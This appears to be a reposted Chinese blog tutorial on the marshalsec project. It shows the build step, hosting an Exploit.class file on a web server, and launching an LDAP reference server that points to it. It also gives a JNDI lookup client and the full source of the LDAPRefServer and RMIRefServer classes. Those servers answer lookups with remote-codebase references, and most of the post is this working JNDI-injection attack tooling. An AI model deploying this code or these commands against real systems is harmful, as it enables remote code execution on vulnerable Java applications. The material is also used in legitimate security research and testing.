java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。

本文主要是介绍java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

开源项目的git代码地址:GitHub - mbechler/marshalsec

实现了ldap,rmi 的server端代码。

shi

编译

这里跳过编译时的test

mvn "-Dmaven.test.skip=true" -P  clean package

编译后target目录 

 

演示如何启动ldap服务

上传编译后的class文件到http服务器

把Exploit.class文件放在http服务器上,这里使用nginx服务器,访问地址为http://127.0.0.1/test/Exploit.class.

启动ldap

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/test/#Exploit 1099

其中: http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 ,1099 指ldap服务的端口

 看到listening on  0.0.0.0:1099即启动成功

java 使用jndi 加载ladp上的class文件,并在本地执行

package test.anquan;import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;public class Test {public static void main(String[] args) throws NamingException {//	     Hashtable<String,String> HashEnv = new Hashtable<String,String>();HashEnv.put(Context.SECURITY_AUTHENTICATION, "simple"); // LDAP访问安全级别(none,simple,strong)
//        HashEnv.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); // LDAP工厂类Context ctx = new InitialContext();ctx.lookup("ldap://127.0.0.1:1099/test/#Exploit");ctx.close();}
}

输出

 具体报错原因,后面有时间在分析把

项目中关于ldap,rmi的server端实现代码

ldap


package marshalsec.jndi;import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;/*** LDAP server implementation returning JNDI references* * @author mbechler**/
public class LDAPRefServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] args ) {int port = 1389;if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$System.exit(-1);}else if ( args.length > 1 ) {port = Integer.parseInt(args[ 1 ]);}try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;/*** */public OperationInterceptor ( URL cb ) {this.codebase = cb;}/*** {@inheritDoc}** @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

rmi

package marshalsec.jndi;import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;import javax.naming.Reference;
import javax.net.ServerSocketFactory;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import marshalsec.util.Reflections;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.TransportConstants;/*** Generic JRMP listener* * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.* * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.* * @author mbechler**/
@SuppressWarnings ( {"restriction"
} )
public class RMIRefServer implements Runnable {private int port;private ServerSocket ss;private Object waitLock = new Object();private boolean exit;private boolean hadConnection;private URL classpathUrl;public RMIRefServer ( int port, URL classpathUrl ) throws IOException {this.port = port;this.classpathUrl = classpathUrl;this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);}public boolean waitFor ( int i ) {try {if ( this.hadConnection ) {return true;}System.err.println("Waiting for connection");synchronized ( this.waitLock ) {this.waitLock.wait(i);}return this.hadConnection;}catch ( InterruptedException e ) {return false;}}/*** */public void close () {this.exit = true;try {this.ss.close();}catch ( IOException e ) {}synchronized ( this.waitLock ) {this.waitLock.notify();}}public static final void main ( final String[] args ) {int port = 1099;if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {System.err.println(RMIRefServer.class.getName() + "<codebase_url#classname> [<port>]");System.exit(-1);return;}if ( args.length >= 2 ) {port = Integer.parseInt(args[ 1 ]);}try {System.err.println("* Opening JRMP listener on " + port);RMIRefServer c = new RMIRefServer(port, new URL(args[ 0 ]));c.run();}catch ( Exception e ) {System.err.println("Listener error");e.printStackTrace(System.err);}}@Overridepublic void run () {try {@SuppressWarnings ( "resource" )Socket s = null;try {while ( !this.exit && ( s = this.ss.accept() ) != null ) {try {s.setSoTimeout(5000);InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();System.err.println("Have connection from " + remote);InputStream is = s.getInputStream();InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);// Read magic (or HTTP wrapper)bufIn.mark(4);try ( DataInputStream in = new DataInputStream(bufIn) ) {int magic = in.readInt();short version = in.readShort();if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {s.close();continue;}OutputStream sockOut = s.getOutputStream();BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);try ( DataOutputStream out = new DataOutputStream(bufOut) ) {byte protocol = in.readByte();switch ( protocol ) {case TransportConstants.StreamProtocol:out.writeByte(TransportConstants.ProtocolAck);if ( remote.getHostName() != null ) {out.writeUTF(remote.getHostName());}else {out.writeUTF(remote.getAddress().toString());}out.writeInt(remote.getPort());out.flush();in.readUTF();in.readInt();case TransportConstants.SingleOpProtocol:doMessage(s, in, out);break;default:case TransportConstants.MultiplexProtocol:System.err.println("Unsupported protocol");s.close();continue;}bufOut.flush();out.flush();}}}catch ( InterruptedException e ) {return;}catch ( Exception e ) {e.printStackTrace(System.err);}finally {System.err.println("Closing connection");s.close();}}}finally {if ( s != null ) {s.close();}if ( this.ss != null ) {this.ss.close();}}}catch ( SocketException e ) {return;}catch ( Exception e ) {e.printStackTrace(System.err);}}private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception {System.err.println("Reading message...");int op = in.read();switch ( op ) {case TransportConstants.Call:// service incoming RMI calldoCall(in, out);break;case TransportConstants.Ping:// send ack for pingout.writeByte(TransportConstants.PingAck);break;case TransportConstants.DGCAck:UID.read(in);break;default:throw new IOException("unknown transport op " + op);}s.close();}private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception {ObjectInputStream ois = new ObjectInputStream(in) {@Overrideprotected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName()) ) {return ObjID[].class;}else if ( "java.rmi.server.ObjID".equals(desc.getName()) ) {return ObjID.class;}else if ( "java.rmi.server.UID".equals(desc.getName()) ) {return UID.class;}else if ( "java.lang.String".equals(desc.getName()) ) {return String.class;}throw new IOException("Not allowed to read object");}};ObjID read;try {read = ObjID.read(ois);}catch ( java.io.IOException e ) {throw new MarshalException("unable to read objID", e);}if ( read.hashCode() == 2 ) {// DGChandleDGC(ois);}else if ( read.hashCode() == 0 ) {if ( handleRMI(ois, out) ) {this.hadConnection = true;synchronized ( this.waitLock ) {this.waitLock.notifyAll();}return;}}}/*** @param ois* @param out* @throws IOException* @throws ClassNotFoundException* @throws NamingException*/private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {int method = ois.readInt(); // methodois.readLong(); // hashif ( method != 2 ) { // lookupreturn false;}String object = (String) ois.readObject();System.err.println("Is RMI.lookup call for " + object + " " + method);out.writeByte(TransportConstants.Return);// transport optry ( ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl) ) {oos.writeByte(TransportConstants.NormalReturn);new UID().write(oos);System.err.println(String.format("Sending remote classloading stub targeting %s",new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString()));Field refF = RemoteObject.class.getDeclaredField("ref");refF.setAccessible(true);refF.set(rw, new UnicastServerRef(12345));oos.writeObject(rw);oos.flush();out.flush();}return true;}/*** @param ois* @throws IOException* @throws ClassNotFoundException*/private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException {ois.readInt(); // methodois.readLong(); // hashSystem.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));}@SuppressWarnings ( "deprecation" )protected static Object makeDummyObject ( String className ) {try {ClassLoader isolation = new ClassLoader() {};ClassPool cp = new ClassPool();cp.insertClassPath(new ClassClassPath(Dummy.class));CtClass clazz = cp.get(Dummy.class.getName());clazz.setName(className);return clazz.toClass(isolation).newInstance();}catch ( Exception e ) {e.printStackTrace();return new byte[0];}}public static class Dummy implements Serializable {private static final long serialVersionUID = 1L;}static final class MarshalOutputStream extends ObjectOutputStream {private URL sendUrl;public MarshalOutputStream ( OutputStream out, URL u ) throws IOException {super(out);this.sendUrl = u;}MarshalOutputStream ( OutputStream out ) throws IOException {super(out);}@Overrideprotected void annotateClass ( Class<?> cl ) throws IOException {if ( this.sendUrl != null ) {writeObject(this.sendUrl.toString());}else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {writeObject(null);}else {URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();String cb = "";for ( URL u : us ) {cb += u.toString();}writeObject(cb);}}/*** Serializes a location from which to load the specified class.*/@Overrideprotected void annotateProxyClass ( Class<?> cl ) throws IOException {annotateClass(cl);}}
}

这篇关于java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1140249

相关文章

Spring Security简介、使用与最佳实践

《SpringSecurity简介、使用与最佳实践》SpringSecurity是一个能够为基于Spring的企业应用系统提供声明式的安全访问控制解决方案的安全框架,本文给大家介绍SpringSec... 目录一、如何理解 Spring Security?—— 核心思想二、如何在 Java 项目中使用?——

SpringBoot+RustFS 实现文件切片极速上传的实例代码

《SpringBoot+RustFS实现文件切片极速上传的实例代码》本文介绍利用SpringBoot和RustFS构建高性能文件切片上传系统,实现大文件秒传、断点续传和分片上传等功能,具有一定的参考... 目录一、为什么选择 RustFS + SpringBoot?二、环境准备与部署2.1 安装 RustF

Nginx部署HTTP/3的实现步骤

《Nginx部署HTTP/3的实现步骤》本文介绍了在Nginx中部署HTTP/3的详细步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学... 目录前提条件第一步:安装必要的依赖库第二步:获取并构建 BoringSSL第三步:获取 Nginx

springboot中使用okhttp3的小结

《springboot中使用okhttp3的小结》OkHttp3是一个JavaHTTP客户端,可以处理各种请求类型,比如GET、POST、PUT等,并且支持高效的HTTP连接池、请求和响应缓存、以及异... 在 Spring Boot 项目中使用 OkHttp3 进行 HTTP 请求是一个高效且流行的方式。

java.sql.SQLTransientConnectionException连接超时异常原因及解决方案

《java.sql.SQLTransientConnectionException连接超时异常原因及解决方案》:本文主要介绍java.sql.SQLTransientConnectionExcep... 目录一、引言二、异常信息分析三、可能的原因3.1 连接池配置不合理3.2 数据库负载过高3.3 连接泄漏

MyBatis Plus实现时间字段自动填充的完整方案

《MyBatisPlus实现时间字段自动填充的完整方案》在日常开发中,我们经常需要记录数据的创建时间和更新时间,传统的做法是在每次插入或更新操作时手动设置这些时间字段,这种方式不仅繁琐,还容易遗漏,... 目录前言解决目标技术栈实现步骤1. 实体类注解配置2. 创建元数据处理器3. 服务层代码优化填充机制详

Python实现Excel批量样式修改器(附完整代码)

《Python实现Excel批量样式修改器(附完整代码)》这篇文章主要为大家详细介绍了如何使用Python实现一个Excel批量样式修改器,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一... 目录前言功能特性核心功能界面特性系统要求安装说明使用指南基本操作流程高级功能技术实现核心技术栈关键函

javacv依赖太大导致jar包也大的解决办法

《javacv依赖太大导致jar包也大的解决办法》随着项目的复杂度和依赖关系的增加,打包后的JAR包可能会变得很大,:本文主要介绍javacv依赖太大导致jar包也大的解决办法,文中通过代码介绍的... 目录前言1.检查依赖2.更改依赖3.检查副依赖总结 前言最近在写项目时,用到了Javacv里的获取视频

Java实现字节字符转bcd编码

《Java实现字节字符转bcd编码》BCD是一种将十进制数字编码为二进制的表示方式,常用于数字显示和存储,本文将介绍如何在Java中实现字节字符转BCD码的过程,需要的小伙伴可以了解下... 目录前言BCD码是什么Java实现字节转bcd编码方法补充总结前言BCD码(Binary-Coded Decima

SpringBoot全局域名替换的实现

《SpringBoot全局域名替换的实现》本文主要介绍了SpringBoot全局域名替换的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一... 目录 项目结构⚙️ 配置文件application.yml️ 配置类AppProperties.Ja